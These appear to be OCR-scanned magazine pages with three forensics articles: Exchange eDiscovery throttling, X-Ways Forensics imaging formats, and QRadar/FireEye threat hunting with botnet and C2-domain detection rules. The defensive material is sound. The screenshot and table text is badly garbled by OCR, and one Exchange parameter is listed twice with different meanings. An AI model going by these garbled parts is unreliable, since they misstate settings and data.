estimates may be used in fine-tuning queries to meet the essential requirements.

Users may also preview search results in order to ensure further that the messages returned do con-
tain the contents they have intended to search for. The eDiscovery Search Preview will display the mes-
sages returned by searches and those from the mailboxes searched. Previews are quickly generated
and the generation will not even require users to copy the messages to their discovery mailboxes.

After verifying the quality and quantity of the search results, users may have them copied to discov-
ery mailboxes. Copies can include items that were unsearchable, de-duplicate files before copying, log
and send email notifications. Users can only enable basic logging when trying to copy items by default
though. Full logging can be selected if in case it is desired that information concerning all the records is
returned through the search. eDiscovery searches have the potential to return large numbers of records.
It can take a really long time for these records to get copied on to discovery mailboxes. Rather than wait
the entire day in front of the computer for the process completion, users may instead consider getting
mail notifications after the copying has been completed.

PRESERVATION AND SYSTEM RESOURCES

eDiscovery searches can easily overwhelm server resources if not controlled properly. Exchange in-
cludes several throttling parameters that can be used to control the amount of system resources allo-
cated to servicing eDiscovery searches.

» DiscoveryMaxConcurrency — the maximum number of eDiscovery searches users may perform con-
currently, valued at 2.

» DiscoveryMaxMailboxes — the maximum number of mailboxes users can search in one eDiscovery
search, valued at 50

» DiscoveryMaxMailboxesResultsOnly — maximum number of mailboxes users may search in one
eDiscovery search with results copied on to the discovery mailbox, valued at 5000
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» DiscoveryMaxKeywords — maximum amount of keywords users can specify in one eDiscovery
search, valued at 500

» DiscoveryMaxSearchResultsPageSize — maximum amount of items that can be displayed on one
page in the eDiscovery search preview, valued at 200

» DiscoveryMaxConcurrency — maximum keywords displayed on each page of the keywords statistics
section in EAC’s eDiscovery search status

Users have the capacity to modify the parameters of default throttling policies. This is often considered
when the parameters are required to suit the requirements or when they need to create additional throt-
tling regulations and have them assigned to users who have been granted permission.

SUMMARY

This article introduced you to the eDiscovery features present in Microsoft Exchange for preserving, in-
dexing, searching and reviewing emails and attachments in Exchange. It also discussed the integration
of SharePoint server with Exchange for a single eDiscovery review portal of both products. The query
syntax and permissions required to perform searches were presented along with steps for configuring
and administering eDiscovery in Microsoft Exchange.
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IMAGING WITH
X-WAYS FORENSICS

by Brett Shavers

You probably know a lot about creating forensic images. You may
have even created hundreds, or thousands, of forensic images
during your career. But, have you imaged with X-Ways Forensics?

If not, you will be surprised at the options available to image

using X-Ways Forensics that do not exist with other software or
hardware imaging solutions. In fact, you will be most likely be
excited enough to try X-Ways Forensics just for its imaging ability
after reading this article. For starters, did you know that X-Ways
Forensics is more than twice as fast as other forensic tools? Trust
me when | say that imaging with X-Ways Forensics is just plain neat.

- Similarities and diff £ X- . .
mrarties and ciersnces o does not look like other forensic tools. It looks harder to use. And where
Ways Forensics imaging and oth-

er tools. are the ‘find evidence’ buttons? It just does not /ook sexy. Looks can be

« Scenarios in which different imag- decelvmg.
ing options can be considered.

T he interface of X-Ways Forensics (XWF) turns off many examiners. It
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« Fundamentals of digital forensics
regarding preservation of original
electronic evidence.

» Understanding different forensic
image formats.

Figure 1. X-Ways Forensics interface
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For the XWF users, the interface looks like an expensive sports car and runs just as fast. It is unfor-
tunate that non-XWF users who may be turned off due to the appearance and false perception of being
difficult to use, will be missing simple, but dramatic, imaging features. These dramatic imaging features
are worth the price of admission for the X-Ways Imager tool alone, not to mention the other powerful fea-
tures of XWF.

X-WAYS FORENSICS VS. X-WAYS IMAGER

After you read this article, you may not yet be convinced to purchase the full X-Ways Forensics suite as
| am only talking about imaging; but | am sure you will be ready to at least purchase the X-Ways Imager
tool. Yes, there are free and open source imaging solutions, but the X-Ways Imager is different; hence,
there is a financial cost. By different, | mean better and faster, and by faster, | mean more than two or
three times faster (Slideshare, 2013) than anything else. Imagine, on your next imaging gig, you can cut
your imaging time in half. Just for that benefit alone, there is not any reason to keep reading. You will
save lots of money and time by using X-Ways Imager. But of course, read on if you want to find out the
really super-neat stuff.

The X-Ways Imager is a scaled down version of X-Ways Forensics, in that it can only create forensic
images, whereas X-Ways Forensics is a complete forensic analysis application. As a reduced function
tool, the price is reduced. As of the writing of this article, X-Ways Forensics is EUR 1099.90 and the
X-Ways Imager is EUR 149.90. Both XWF, and the X-Ways Imager, require a dongle to operate. This
article covers both XWF and the X-Ways Imager.

IMAGE FORMATS

The following section gives details on XWF specific formats, and the commonly used formats. Do not
skip over this section because you know forensic image formats, because if you do not use XWF, you do
not know the coolest image formats available.

DD AND EXPERT WITNESS

One of the most versatile forensic formats is the dd image. The dd image is versatile, as nearly every fo-
rensic application is able to access this format without issue, or needing to be converted. The dd name is
known by several variants such as “Data Description”, “convert and copy”, and even “data dump”, among
others. Regardless, XWF can create a dd image for use with any forensic tool. That is not really cool be-

cause it seems every tool can create dd image.

The Expert Witness image format, also known as the €0.1 format, or Encase format, is an option avail-
able with XWF as well. There are benefits to the Expert Witness format, as there are benefits to the dd
format, but this is another common format. Specifics of these two common formats are beyond this ar-
ticle; as these are the most widely used formats by most tools. Let’s get into the cool imaging formats.

EVIDENCE FILE CONTAINERS

An XWF Evidence File Container is an encapsulated logical acquisition of selected files/folders. The
Evidence File Container is not a bit-for-bit capture of an entire hard disk, but rather a forensic capture of
targeted files placed into a protective file. Other forensic applications also create proprietary logical con-
tainers much like XWF, so in that manner, this is another similar feature of XWF to other tools; but there
are some worthwhile differences.

The XWF Evidence File Container is a proprietary format, with a special file system (XWFS2) which
XWEF can fully interpret. One difference with the XWF Evidence File Container is that several other com-
mercial tools can also interpret the XWF Evidence File Containers; yet they may not be able to interpret
all file metadata. Compared to a proprietary logical evidence file format, in which no other tool can ac-
cess, the XWF Evidence File Container is more versatile for use among several tools.

The XWF Evidence File Container can also be converted to the Expert Withess Format, which is some-
thing unique to the XWF Evidence File Format compared to other file container formats.

Instances where a whole disk forensic image is unnecessary, the XWF Evidence File Container can
capture only those files of importance. An interesting method of creating an Evidence File Container is
that you can create a container of your selected files from a full forensic image. To clarify, using any fo-
rensic image, you can select files from within the image to export into an Evidence File Container.
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SKELETON IMAGES

Now we get into new territory with forensic images. XWF’s option of creating a Skeleton Image is unique
and ingenious. Similar to an Evidence File Container, a Skeleton image does not capture bit-for-bit an
entire hard drive, but only that which you choose. That is where the similarity of a Skeleton image ends.
A Skeleton image captures the physical data, not just the logical data, for which you select. Think about
that for a second. Any tool that only creates a logical capture of data, does not capture all that is avail-
able, even if only select files and folders are to be captured.

The Skeleton image includes as much data as you deem necessary. For example, you can include sys-
tem files such as registry files, the boot sector, directory clusters in FAT, SMFT in NTFS, and more; all the
while excluding unnecessary data. A neat feature of the Skeleton image is that captured data maintains
their original offsets and relative distances between data structures. An Evidence File Container, whether
made by XWF or other tools, does not provide this ability.

A Skeleton image is also compatible with other tools, as it can be converted from a raw format to a
compressed/noncompressed and encrypted/nonencrypted .e01 evidence file.

CLEANSED IMAGES

Wait! There’s more! XWF has another unique and well-needed format of a Cleansed Image. A Cleansed
Image is simple a forensic image (dd, .e01) that has intentionally excluded data during imaging. When
creating a Cleansed Image, simply “exclude” any files/folders you do not want included in the image. You
can then have XWF substitute text (watermark) of your choosing in place of where the excluded files
would have been. For example, creating an image where protected files are not able to be copied, such
as private or confidential data, those files can be replaced with the text “REDACTED” or “CLEANSED”.

Again, given a complete bit-for-bit image of a hard drive, a Cleansed Image can be created from the
complete image. The benefit to this is obvious to anyone who has had the displeasure of manually re-
dacting protected files through editing hex values. It will also be obvious to those that encounter their first
case of having to redact data from an image. When that day comes, remember that the Cleansed Image
feature of XWF will save you hours, if not days, of manually redacting data from an image.

CREATING THE IMAGES

XWEF allows creation of images via the command line, but the most common method is using the GUI.
The options in the XWF Create Disk Image dialog are self-explanatory. Metadata can be added in the In-
ternal Description, a 2" copy can be created at the same time, the choice of a dd, .e01, or Evidence File
Container, specific sectors to image, choice of hash algorithms, verification of the image, compression
options, encryption, and splitting the image are common options to most imaging tools. As previously
mentioned, the encryption option is different, in that it is not password protection, but actual encryption.
Additionally, within the scope of imaging, files can be omitted during imaging rather than copying the en-
tire medium.

Create Disk Image (Hard disk 3, Volume, 30.4 GB) =

Image file: format: Scope: sectors 0 - 83713728
Raw image (.dd, .001, interpretable and splittable)

®) Evidence file {01, interpretable and compressible) e e Y

) Evidence File Container...

Path and filename: [¥] Compute hash: MD5

® Yevidence00012 = [¥] Computte hash:
[]2nd copy

Examiner- Brett Shavers Compression: fast, adaptive v
Intemal description: [¥] Encryption 128-bit AES

Uedl Inspiron

SN 12345764 Service Tag AHGIET [¥] Prevent unencrypted copies

Toshiba 25" HDD [v] Split image into segments of 4096 MB
SN 1223455

0K Cancel Help

Figure 2. Create Disk Image options
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Most likely, you will be more impressed with the speed of imaging compared to anything you have used
before, including hardware based imaging devices. There are several tests posted online, comparing XWF
to other tools, and none are faster than XWF. Speeds of two and three times any other tool is impressive!
For this one reason alone, the price of XWF Imager is more than worth saving time with imaging.

ENCRYPTING IMAGES

XWEF provides for real encryption; 128 or 256 bit encryption. XWF does not password protect images,
it fully encrypts the image, and cannot be bypassed as if it were just password protected. Additionally,
by selecting Prevent unencrypted copies, no copies of the image can be created that are unencrypted.

REVERSE IMAGING

No longer do you need to rely upon a Linux tool for reverse imaging. XWF is the only forensic imaging
suite (non-Linux) that can image a damaged hard drive in reverse. Ordinary, hard drives with bad sec-
tors either delay or crash imaging programs, but with reverse imaging, the odds of recovering more data
and creating a complete image is leaps and bounds over tools that cannot handle defective hard drives.

RAIDS
XWEF can image RAIDS, as a hard drive is a hard drive. Just as important, X\WF can rebuild RAIDS, in-
cluding failed disk-based RAIDS such as JBOD, RAID 0, RAID 5, etc...

LIVE CAPTURES

Sometimes, computer systems must be imaged live. That is, a system may not be able to be shut down
for any number of reasons, such as encrypted operating systems or business reasons. In these cases,
XWEF can run from an external USB drive or CD drive on the evidence machine, and an image created
while the system is running. Data will surely change on the system, but it will only be system, not user
data. XWF has a small footprint, images fast, creates a sparse (Skeleton) image, or Evidence File Con-
tainer, all of which has its place in live captures.

Another method of using XWF as an imaging tool is running from a booted Windows Forensic Envi-
ronment (Shavers, Windows Forensic Environment, 2013) on the evidence machine. By booting the evi-
dence machine to a forensic boot disc such as WIinFE, a write protected access to the evidence drive al-
lows for capture of the evidence drive with XWF. As XWF has a small footprint, and requires only 256MB
of RAM to run, nearly any computer system capable of booting to external media (CD/DVD/USB) can be
booted to WinFE and XWF can create an image of the hard drive.

COMPARISON OF IMAGES

The following table from http.//x-ways.net/investigator/containers_vs_skeleton_images.html shows the
differences in an easy to read format. As you can see, there are more methods of creating a forensic
image than simply running a program and choosing dd or .e01. It depends on your needs at the time of
acquisition.
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! Evidence File
Type of image: Container Skeleton Image Cleansed Image
: X-Ways Investigator, | X-Ways Forensics X-Ways Forensics

Canbe;created;with X-Ways Forensics from wv17.1 from v17.2
Space for excluded data allocated? no no yes

" . as NTFS sparse zeroed out or filled
Excluded data referenced in the image? no .p :

di eds wilti a pallern
. . . . has to b ied, has to b ied,
Treatment of excluded allocated data when container/image is copied n/a b e e e e Cone
highly compressible | highly compressible

Compatibility with other tools (Wf)== V= v
Suitable for partial forensic acquisition v v v
Suitable for exchange of selected files with other examiners after acquisition v
Can contain data of selected files and directories and omit others v 4
Can omit data of selected files and contain all others 4
Can transport files that are not stored at the file system level (e.g. extracted
e-mail, e-mail attachments, video stills, pictures embedded in Excel v 4
spreadsheets, excerpts of files, files in zip archives, ...)
Ability to preserve all file system metadata about files v) v v
Can contain MBRs, partition tables, boot sectors, special file system areas v v v
MBRs, partition tables, boot sector, file system data structures remain parsable, s s
locatable and functional, at least in forensic tools™®
Preserves original offsets and original distances between various data and 7 J
metadata
Non-proprietary format/layout v v
Casy to compare with the original disk v v
Accomodate data from different physical media in a single image v
Supports Windows dynamic disk and Linux LVM2 as source disks v v
Hashes of individual files v
Hashes of copied sector ranges v
Can be hashed, compressed, encrypted, cplit, converted from raw format to an , 7 7
.e01 evidence file as a whole after creation
Can be hashed, compressed, encrypted, split, and stored in .e01 format as a s
whole immediately

Figure 3. Comparison of image types, http.//x-ways.net/investigator/containers_vs_skeleton_images.html|

MORE FEATURES? YES!

Long time users of XWF always seem to find a “new” feature and get excited about it. This happens
quite often due to either not noticing the feature before, or not realizing the feature was added in one of
the many updates. One of these features concerns unfinished imaging processes. For example, if you
cancel disk imaging before it is completed, XWF will finalize the .e01 format in order to have a consis-
tent image, even though it will be incomplete. Why is this important? First, if for any reason an image
must be stopped, such as an emergency when you are onsite, you will at least have valid data from an
incomplete, yet finalized image. Most every other tool will result in a corrupted and inaccessible image.
Not X-Ways...

Another feature is the ability to adjust the compression for imaging. Why is this different than another
tool? Answer, because you can adjust the compression during the imaging process. If you realize your
target drive is running out of space, or you are unsure if the image will fit, simply increase the compres-
sion. There is no need to stop and restart the imaging process. Or perhaps imaging a large drive is tak-
ing longer than expected. In that case, change the compression selection to fast, while the imaging is
still going.

| briefly stated earlier about creating a Cleansed image from a complete hard drive image. That applies
to every type of image you choose, including the Skeleton Image or Evidence File Container. As an ex-
ample, given a complete hard drive forensic image, you can create a Skeleton Image, Cleansed Image,
or an Evidence File Container from the complete forensic image. As a suggestion, it may be best to cre-
ate full disk images whenever possible, and afterward create reduced images from the complete disk im-
age. This can be in situations where different persons require different data sets, such as providing data
to the defense or plaintiff while protecting certain data due to privacy/privilege.

® @



Let me add one more feature that | am sure that even current XWF users may be missing. How about
choosing how many threads to use when imaging? XWF will use no more than 4 threads by default, but
depending on how many processor cores your system has, you can increase it up to 16 threads. In pure
technical terms, this is called very cool.

Create Disk Image (Hard disk 3, Volume, 30.4 GB)

Image file format: Scope: sectors 0 | -[63M372%6
() Raw image (.dd, .001, interpretable and splittable)

(@) Evidence file (201, interpretable and compressible) il i
(") Evidence File Cortainer...

I

|
Path and filename: Compute hash: MD5

I -
® | T evidence000 v Compute hash:

i [ ]2nd copy

| Examiner: Brett Shavers Compression: fast, adaptive W
Intemal description: Encryption 128-bit AES

Prevent unencrypted copies
Split image into segments of 4096 MB

QK Cancel ‘ Extra threads: |2 I Help

Figure 4. Adjusting how many threads for imaging (lower right corner activates the thread feature)

SUMMARY

This article briefly discusses the imaging ability of X-Ways Forensics and X-Ways Imager, mostly be-
cause there is just too much to detail all the options of XWF imaging in one article. For users of X-Ways
Forensics, the XWF forum at http://www.winhex.net contains quite a bit of user submitted information
and responses from X-Ways developers. Additionally, Eric Zimmerman and | have written a guide (Shav-
ers, X-Ways Forensics Pratitioner’s Guide, 2013) to using X-Ways Forensics that includes an entire
chapter devoted solely to imaging methods. This article summarizes the high points, and being that there
is still more to know about imaging with X-Ways, was not an easy task to select the best features.

The next time you look at the X-Ways Forensics interface, look at it like it is a 1967 Shelby 427 Cobra.
It may look Spartan, but boy does it run fast!
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THREAT HUNTING
AND CORPORATE

INVESTIGATIONS WITH SIEM TECHNOLOGY

by Filip Nowak

How to handle modern threats and corporate espionage with
next generation, integrated solutions? Security Operations
Centers have technology, such as SIEM (Security Information and
Event Management), NGTP (Next Generation Threat Protection),
and incident response processes to detect, mitigate and
remediate potential danger to any organization.

What you will learn:

* How to understand the next gen-
eration of SIEM technology

* How to use the advantage of mul-
tiple data sources

* How to construct security rule in
Qradar

* What challenges does the SOC
face

* What are the best practices in inci-
dent response analysis

» What are the trends within SIEM

What you should know:

» Familiarity with Network Security
Monitoring (NSM) strategy

« Familiarity with generic incident re-
sponse process

» Experience with security incident
analysis

unit, established to log, monitor and respond to any security issues

and breaches. Within a SOC, there are many dependent departments,
each with their own responsibilities, processes and technology. To establish
and develop a security organization, several fundamental aspects should be
covered. These are: operational tasks, deployment, engineering, and critical
— research. This is why, there should be teams with dedicated tasks, to ob-
serve physical infrastructure, respond to any potential network issues, moni-
tor information flow and adopt new methodologies. The following article will
cover several case scenarios, describing how to use dedicated technology
during threat hunting approach, and incident response with SIEM.

INTRODUCTION

At the beginning, the author will describe the components and challenges of
a security operations center environments, and quickly define the technology
involved. The article will present a review of Qradar’s SIEM (Q1Labs/IBM)
and Fireeye solutions.

Q security operations center (SOC) is an organized and multi-divisional

SIEM

SIEMtechnologyisresponsibleforgathering;filtering, normalizing,aggregating,
and correlating events coming from multiple data sources, and changing them
intovaluableinformationinasecuritydatabase (checkalsohttp://searchsecurity.
techtarget.com/definition/security-information-and-event-management-SIEM
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and http://www.gartner.com/it-glossary/security-information-and-event-management-siem/). Data is
stored as events, flows and records from external feeds and may generate potential security alerts — of-
fenses. All of these should be performed in near real-time.

Digital Investigation

for Leadier

Resolution i o
o Secunty Measures L

Figure 1. High-level incident response process

Figure 1. Visualizes which part of incident response process is covered by SIEM team (based on ‘seven
components of incident response’ — Kevin Mandia, Chris Prosise, Mat Pepe 2003). This is very general,
as during incident response, all steps within process are affected and influenced by other components.

Table 1. Data types gathered by SIEM

Logs - this type of information is taken from different operating systems, and network devices. Usually, SYSLOG is used
as a standard protocol for pushing logs remotely. On the other hand, some systems and infrastructure architecture
demand installing additional software on remote hosts, just to allow them to send logs via network. What is more,
protocols such OPSEC LEA, SNMP, JDBC/ODBC (pooling) need another way of configuration, and this can be - in some
circumstances — a tricky task.

Flows — some SIEM solutions have mechanisms to handle network layer information, and provide details about
network flows. These are for example: netflow, JFlow and SFlow. This is a kind of data that ‘never lies’ — it describes the
established communication, or exchanged data.

External feeds — SIEM is building its own static information about each host in the monitored network. We can call it ‘asset
management’, as it contains data about names, addresses, MAC, timing, usernames, vulnerabilities (vulnerability scanner)
etc. What is more, records from external databases can feed our SIEM and provide additional contextual details to our
correlating engine (blacklisted domains, records for compliance purposes, list of privileged users and so on).

QFlows — QRadar has capability to perform packet inspection, which provides the ability to identify traffic up to the
application layer. This means that SIEM can identify applications regardless of port (dynamically allocated ports or
tunnels, port-independent applications), and track information flow within infrastructure - it delivers critical data.
More can be found: http://www-03.ibm.com/software/products/us/en/gradar-gflow-collector/.

Passive scan - this feature allows passively observing what is going on within infrastructure, collecting statistical
information, dynamically changed values and discover new data sources.

Vulnerability scan — new generation of scanners are supposed to be integrated within SIEM itself. The integration will deliver
deep information about vulnerabilities, and will be combined with knowledge delivered by SIEM and assets details.

Configuration data — data about configuration, patches, system integrity, and errors is critical as it presents what is the
status of production environment, and also describes changes over time (risk manager).

Historically, SIEM was divided into two components. The first is responsible for gathering any kind of
structured data from an infrastructure devices. This could be logs (windows/Unix production system, FW,
IDP, AV, SGW, proxy, DNS, DHCP, ...), flow data coming from network devices (switches, routers, fire-
walls, ... ), vulnerability scans outputs, assets information (network hierarchy, hosthames, usernames,
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MAC addresses, ...) and flows operating on the layer 7 of the OSI model (QFlows — combination of net-
work based application recognition solutions and full packet capture approach).

What is more, Qradar is able to be ‘fed’ with external information gathered outside of the company,

such as blacklisted domains, indicators of compromise (I0C), unstructured data (documents, hashes,
application layer meta-data, ...) just to mention a few.

external intelligence

SIEM

correlation engine

¢ &

cases data reports

Figure 2. SIEM and log/flows/assets dependencies

One great thing about SIEM is the fact that it not only ‘gets’ information from infrastructure, but it also
recognizes, and builds its own knowledge about assets, behavior, patterns and weak points (risk manag-
er). This ideology is presented on the second figure — data, and meta-data correlated by SIEM’s engine is
pulled back to the knowledge base, and at the same time generates alerts and reports — if needed. SIEM
cannot be just called ‘data warehouse’, because it does not provide only logging/gathering features, but
also strong and reliable correlation engine, that ‘produces’ incidents. On the other hand, comparing SIEM
to connection of OLAP (online analytical processing) and OLTP (online transaction processing) informa-
tion systems is correct, as it provides not only quick searches over database but also — to some extent
— data mining and meta data analysis (modern SIEMs).

NGTP

To author’s knowledge, the term ‘next-generation threat protection’ (NGTP) was developed by the Fireeye
Company — describing new solution, which deals with the next generation of threats. This technology is
not based strictly on signatures (that are easily evaded by modern, evolving malware), but perform traffic
analysis on the fly. Based on the document found in the internet (http://www.commoncriteriaportal.org/files/
epfiles/st_vid10458-st.pdf), the workflow of NGTP’s engine can be visualized as it is on Figure 3.
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Fireeye can be compared to a combination of a sandbox and IPS. It captures traffic, and firstly performs
statistical and heuristics analysis — to check, if anything is suspicious within the raw traffic which can be
spotted. Then, signatures are used to confirm if anything known (historical patterns, known threats) are
detected. If not, captured portions of traffic are replayed within multiple virtual machines (simulating mul-
tiple operating systems, and multiple versions of applications) and then producing report showing details
about anything suspicious found. This is the point, where Fireeye, presents a completely new approach
to threats, not just observing them as objects, but also analyzing their behavior — this brings the capabili-
ties to detect the ‘unknown’. Combination of NGTP with modern SIEMs may deliver a next step in threat
detection — especially in bigger environments. Fireeye produces alerts, but without centralized database
(SIEM), process of mitigation and response would be much longer and ineffective. Moreover, when us-
ing only NGTP — remediation or further threat hunting seems to be impossible due to lack of information
and bigger picture.

CHALLENGES

IT security is all about trust. It is natural to only trust people and things (from now both referred to as ob-
jects) that are known to us, and are ‘verified’ by experience and time. In the worst case, after verification
of known object (it can be signature recognition or behavioral analysis), one can decide if is trustworthy
or not. Furthermore, if the object is unknown, and cannot be verified, the best way is to label it with un-
trusted status and observe. This is why, the threats can be divided into two categories: known and un-
known threats (similar classification or context was presented by Fireeye company: traditional threats vs.
next generation threats).

Figure 3. NGTP work flow
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Figure 4. Threats categorization

Known threats can be tracked with ‘traditional’ or ‘legacy’ security components, such as antivirus, fire-
walls, security gateways, intrusion detection/preventions system, the unknown cannot — simply because
they are undetectable by signature-based components. Another known technology is called network
based anomaly detection systems. The problem with those semi signature-based components are: too
many false-positive errors, time consuming and difficult to maintain. The combination of legacy compo-
nents, SIEM, and next-generation threat protection can provide relief. As it is presented on the figure 4,
SIEM technology can easily cover and detect the ‘known’ part. But as the security operations center de-
velops, and researches are being conducted — the ‘unknown’ part become detectable (it never reaches
100% detection ratio, evolves over time). The challenge for security professionals working within a SOC
infrastructure is to detect threats and mitigate them. To do so, many detection techniques should be es-
tablished, tested and verified. One of those techniques might be hunting. SIEM technology is the main
core — providing functions and interfaces to connect NGTP with legacy components and detect threats.

FORMULATE SECURITY CONTROLS

Before any threat can be spotted, detection ‘rules’ and policy need to be deployed. Qradar’s SIEM gives
capabilities of event, flow, offense, anomaly and behavioral rules creation. These are typically scenari-
os describing particular security incident, breach or security policy violation. Whereas during computer
forensics process, investigators do care about seizing and acquiring data in forensically-sound man-
ner (which basically means taking data and assuring its integrity and authenticity) Qradar’s provide an
automated mechanism to store payloads in a secure manner — which later can be used in court of law
as network or computer evidence. This is very crucial, especially when SIEM is the critical location for
corporate evidence — ensuring integrity, authenticity and automatization. Another aspect is the fact, that
Qradar was developed to make information ‘smarter’ and easier to analyze yet still represent potential
of evidence.

It is always much easier to know, what one is looking for. If the threat that security team is hunting can
be described and implemented within SIEM rule, it is only the matter of time when a rule is triggered. In-
cidents are called ‘offenses’ in Qradar, and these will be used interchangeably. Rules can be constructed
based on different kind of information:



events

flows

Qflows (keyword searches, signatures, patterns, ... )
vulnerability scanners output

assets details

external feed

=
research ")
[ ]
/
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Figure 5. Rule construction — based on data sources and SOC’s research

At the very beginning — deployment stage — Qradar offers tons of predefined, default rules. These
should be considered as very generic rules, and must be verified and tuned, to reflect particular infra-
structure, needs and compliance.

The rule should be constructed with ‘top-down’ methodology, filtering out as much unnecessary infor-
mation as it is possible at the very beginning — making the rule optimized. Another important aspect of
rule construction is presented on Figure 5. Very often rules are just built on specific events taken from
particular devices (driven by vendor). For example: raise incident as soon as you get ‘virus found’ event
from AV. This kind of rule is very generic, and just double the alert from AV management console. Author
suggests and recommends creating scenarios (rules) based on multiple different data sources, avoiding
quantitative analysis and numbers — is it more reasonable to watch 10 logon failures, or 13 logon fail-
ures? Should we monitor firewall denies or a firewall deny and then successful access? It is crucial to un-
derstand that by combining information gathered within SIEM security team members are given a unique
set of information from observed environment. Rules should not only be built upon specific events, flows
etc., but also have ‘space’ for creativity and research. This is the only method, to extend visibility, and
hunt for unknown — looking for traces, footprints and signs (every stage of compromise chain). Each se-
curity control — rule — is constructed with multiple ‘tests’ — as shown on figure 6. Those ‘puzzles’ can cre-
ate very sophisticated methods for threat hunting, and comprehensive searches.
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Which tests do you wish to perform on incoming flows and events?

Test Group: | &1 hd| Export as Building Block |
| t when the local network is one of the following networks =
& when the destination netwark is one of the following networks _I

& when the IP protocol is one of the following protocols
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Figure 6. Sample rule - Potential Connection to a Known Botnet

Nowadays, security professionals fight with not only external breaches, but more often with corporate
espionage, insider threats and modern malware. The out-going traffic should be considered as crucial,
and monitored under known or suspicious patterns. A rule that can observe any communication to a
known suspicious IP is called “communication with botnet”.

The rule is rather straightforward — we are looking for any communication that is local to remote (bas-
ing on network hierarchy) and if we spot any communication touching list of suspicious IPs (updated by
vendors, embedded into Qradar) the offense is triggered.
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ffizni Ty Somrce 1P

COrMmunica®on 10 & known Bot Command and Contrgl
Everitflow co dECROLE 0 flows In 3 categonies

Duratid 9
Asssigr o i

Dascription

S cor W)
Dastination Pis)
Hustwenrk(s)
Ciffierese Somree: Summary
[ 01012 33
Mannitude

sar corpoTaLe_user A
Host
Asset Nama Unknown AsSE1 eIt u
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Figure 7. Communication to known Bot Command and Control offense

INVESTIGATION - STEP BY STEP

Now, the true network investigation starts. Security incident response analyst need to review all informa-
tion gathered and correlated by Qradar, check logs, flows or any additional clues found during investiga-
tion process. This process of validation (whether incident is legitimate or just false-positive — which obvi-
ously needs a tuning) is a multi-stage process with backtracking (GCFIM — Generic Computer Forensic
Investigation — Model Yunus Yusoff, Roslan Ismail and Zainnuddin Hassan). Analyst should perform in-
vestigation, get an access to monitored infrastructure and check if the alert can be confirmed or denied
after checking host itself.

Following is deep dive, how to analyze offense step by step.



First of all, the template’ should be filled with standard information. These are:

» case ID (for ticketing systems, reference, tracking and evidential purposes)

+ time and date (also the end of incident)

» duration (time between the event that triggered an offense and last event captured by rule)
+ 5-tuple information (source IP and port, destination IP and port, protocol)

* hostnames (additional consideration in dynamic environments)

* usernames/account

* name of the offense

» description

Making such notes during analysis is very helpful — especially when the particular case is difficult and
multi -layered, or specific ticketing system does not provide any features and helpful capabilities. The
author suggests making personal notes during investigation, describing hypothesis, clues and findings —
later on, it can be used as incident-handling-cookbook, or knowledgebase.

Another step is to check the rule that was triggered for this particular alert. This is crucial, and should
be done at the very beginning. Any information related to the incident is centralized in the offense tab —
which makes the whole process easier and more intuitive. Furthermore it makes the alert accessible to
the investigator; all of the information is stored in one place, documented and presented in clear form.
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L= ~ ™ Categories L
Annotations
; i Metworks |
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Figure 8. Investigating offense

Security incident response analyst can use the ‘display’ option from offense tab — to view all available
menus and detailed descriptions (figure 8). After verifying what rule triggered this particular offense (fig-
ure 6), investigator should review all correlated information within following sections:

last 5 notes (display notes provided by other analyst)

top 5 source IPs

top 5 log sources (which devices reported events within offense)
top 5 users

top 5 categories (each even has its own category)

last 10 events

last 10 flows

top 5 annotations (hints, summaries from correlation engine)
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Figure 9. Offense sections

It is advisable to update the Chain of Evidence during review, supplying the previously prepared form
with new findings and clues. The ‘List of Event Categories’ section shows the general event’s types of the
particular offense. As one can notice, offense is based on proxy logs (object not cached, access denied
— TCP_DENIED, TCP_MISS). The “Top 5 annotations’ is a unique section that presents hints delivered
from correlation engine. It supports the offense, explaining why it was triggered, and what other clues
might be important to investigator. For example “This source attempted to attack more hosts on the net-
work ... “ or “source host has n- vulnerabilities”. Then is the time to check all events, and flows cached
by the offense.
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Figure 10. Normalized events

At this stage, the only thing left, is the event’s payloads and normalized information. The investigator
should pay attention to any details that can change his or her hypothesis about incident. In this particu-
lar case, the proxy device denied communication with known IP address — categorized as ‘malicious’. A
search engine can bring many useful filters — check what have happened before the offense, and what
information have been stored after the incident. Here, the kill-chain process should be run. Such action,
can extend the investigation, brining additional facts, context, or even drive the investigator to other con-
clusions. Qradar also has the capability to filter out any useless details, or filters through a standard ‘key
word’ search.

It is always advisable to look for similar incidents within SIEM database. To do so, just check summary
tab, and specify search criteria (figure 11) to look if any other incident has the same factors or keys. Inci-
dents can be grouped by the same source IP or remote attacker address. Sometimes grouping is impos-
sible, which may indicate that specific rule is badly constructed, or just is a generic one. Based on the
author’s experience, it is strongly advisable to look for similarities or chained offenses — possibly several
incidents can be grouped as breach-campaign, indicating that something really bad is going on. On the
other hand, such action can eliminate bigger portion of false-positives, bringing investigator’s attention
to more important cases.

Qradar delivers a great feature that enable looking for threats in ‘post mortem’ analysis. If security pro-
fessional constructed a rule, all logs/flows/feeds that are already stored in the SIEM’s database can be
replied against the newly built rule. This enable looking for recently discovered threat in the historical
data — showing exactly, when and where the system was compromised.
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Figure 11. Offenses

At the end of the investigation a report should be made, and forwarded to the team responsible for fur-
ther investigation. If the incident is only the false-positive, documentation should also be delivered.

INVESTIGATIVE CONSIDERATIONS - HOW TO ANALYZE SIEM’S INCIDENTS
To summarize what have been just presented, the following check list should be followed during offenses
investigation:

Create investigation template

Check rule that triggered an offense

Verify source and destination hosts

Check offense’s sections

Review logs/flows/other feeds (filtering, sorting, comparing, ‘digging’)
Look for similar offenses

Document everything

Suggest tuning

TUNING PHASE

Rules are nothing more than ‘scenarios’. Using them, security analysts try to hunt threats. To make rules
more reliable and accurate, tuning process need to be applied. Perfect rule hits exactly what one is looking
for — not to loose and not too tight. Easy to say, right? Very often it is good to have several versions of the
same rule — speeding up process of tuning, or detecting different variations of the same threat or behavior.

Scenario: One of log sources in SIEM is Fireeye — Malware Protection System appliance. This device
reports to SIEM all alerts spotted by the Fireeye (callbacks, malware objects, ...). Callback is a mes-
sage delivered to CnC server. Purpose of this communication is to steal Company’s property, or just ‘call
home’ for additional malware. As it was explained before, the NGTP technology brings completely new
approach in detecting unknown threat — as it relies not on signatures, but analysis on the fly. Alerts taken
from Fireeye, can be used as additional feed into SIEM — new information, about ‘unknown’ threat. After
getting a serious alert from Fireeye, indicating a callback message to one of CnC server using GET re-
quest to malicious domain (such as unverified_malicious_domain.ru), we need to respond with proper
actions. We can take one more step further with investigation — look for any communication to this do-
main using SIEM. SIEM allows us to look for this communication within whole company, also looking
back, and checking historical data. We can quickly build a rule:

oly BB Domain Tracking on events which are detected by the |Local |=]| system

uhs & ha & - ¥
when the event

were detected oy one or more of DNMS servers

